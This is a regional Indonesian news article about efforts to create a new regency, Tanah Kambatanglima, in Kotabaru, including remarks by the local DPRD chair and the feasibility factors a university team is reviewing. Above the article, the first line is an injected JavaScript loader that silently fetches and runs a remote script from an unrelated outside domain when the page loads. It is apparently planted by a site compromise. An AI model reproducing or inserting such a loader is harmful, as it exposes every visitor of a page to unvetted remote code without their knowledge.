(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KOTABARU – Ketua DPRD Kotabaru Syairi Mukhlis, mengapresiasi kinerja tim percepatan Calon Daerah Otonom Baru (CDOB) Tanah Kambatanglima. Sejauh ini telah mencapai tahapan proses pada kajian akademis yang dilakukan oleh tim peneliti dari Universitas Lambung Mangkurat (ULM) Banjarmasin beberapa waktu lalu.
Dikatakan oleh Syairi, untuk sampai ke proses tersebut tentu panitia percepatan pemekaran terus berupaya dengan baik dan itu patut mendapatkan apresiasi. Prinsipnya adalah, dengan kerja keras dan kekompakan tim pastinya prosesnya berjalan sesuai harapan.
“Hasil kajian yang telah dipaparkan dapat memberikan sinyal kuat bagi CDOB Tanah Kambatang Lima, dan proses demi proses terus berlanjut untuk menuju sebuah keberhasilan,” tutur dia, Sabtu (28/5/2022).
Ia mengaku sangat bangga melihat semangat tim panitia percepatan yang terus berusaha untuk terwujudnya sebuah kabupaten baru.
Baca juga : Banjir Rendam Tiga Dusun di DAS Barito Kecamatan Dushil Barsel
“Yang jelas kita harus selalu optimis bahwa hasil kajian nantinya akan membuktikan bahwa daerah kita Tanah Kambatang Lima sangat layak untuk di mekarkan,” tambah dia.
Sebelumnya, Rabbiansyah selaku ketua tim percepatan pemekaran CDOB menjelaskan, ada 11 faktor pembentukan daerah otonom baru dan berdasar PP 78 tahun 2007, ada 5 faktor yakni, persentasi rumah tangga yang mempunyai kendaraan bermotor atau kapal, persentasi pelanggan listrik, rasio panjang jalan terhadap jumlah kendaraan bermotor, persentasi pekerja yang berpendidikan SLTA serta persentasi pekerja yang berpendidikan S1, yang harus dan masih pihaknya lengkapi datanya bersama tim kajian ULM.
Sementara faktor lainnya yaitu sosial budaya masih membutuhkan data jumlah balai pertemuan.
“Selain itu, ada juga faktor sosial politik yang juga membutuhkan data jumlah organisasi kemasyarakatan, faktor pertahanan, data yang masih dibutuhkan adalah rasio jumlah personel aparat pertahanan terhadap luas wilayah serta karakteristik wilayah dilihat dari sudut pandang pertahanan.
Baca juga : Jelang Pilkades Serentak, Kapolres Imbau Seluruh Masyarakat Jaga Kamtibmas
Sedangkan faktor yang lain faktor keamanan yang rasio jumlah personel aparat keamanan terhadap jumlah penduduk yang terus masih gali,” papar pria yang akrab disapa Roby ini yang juga anggota DPRD Kotabaru.
Sementara untuk faktor-faktor yang telah clear, katanya lagi, dari paparan yang disampaikan tim kajian ULM seperti faktor kependudukan, kemampuan ekonomi, kemampuan keuangan, luas daerah, tingkat kesejahteraan masyarakat serta faktor rentang kendali yang dinyatakan telah selesai.
“Nah, selajutnya adalah agenda di tanggal 5-6 Juni 2022 yang akan dilakukan oleh tim kajian ULM adalah FGD dan tinjau lapangan, dan dilanjutkan analisis kondisi kabupaten induk, analisis kondisi CDOB Tanah Kambatanglima, analisis kelayakan dan pembobotan, analilis biaya dan manfaat serta survei persepsi publik,” tutupnya mengakhiri. (kanalkalimantan.com/muhammad)
Reporter : Muhammad
Editor : Dhani
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
This website uses cookies.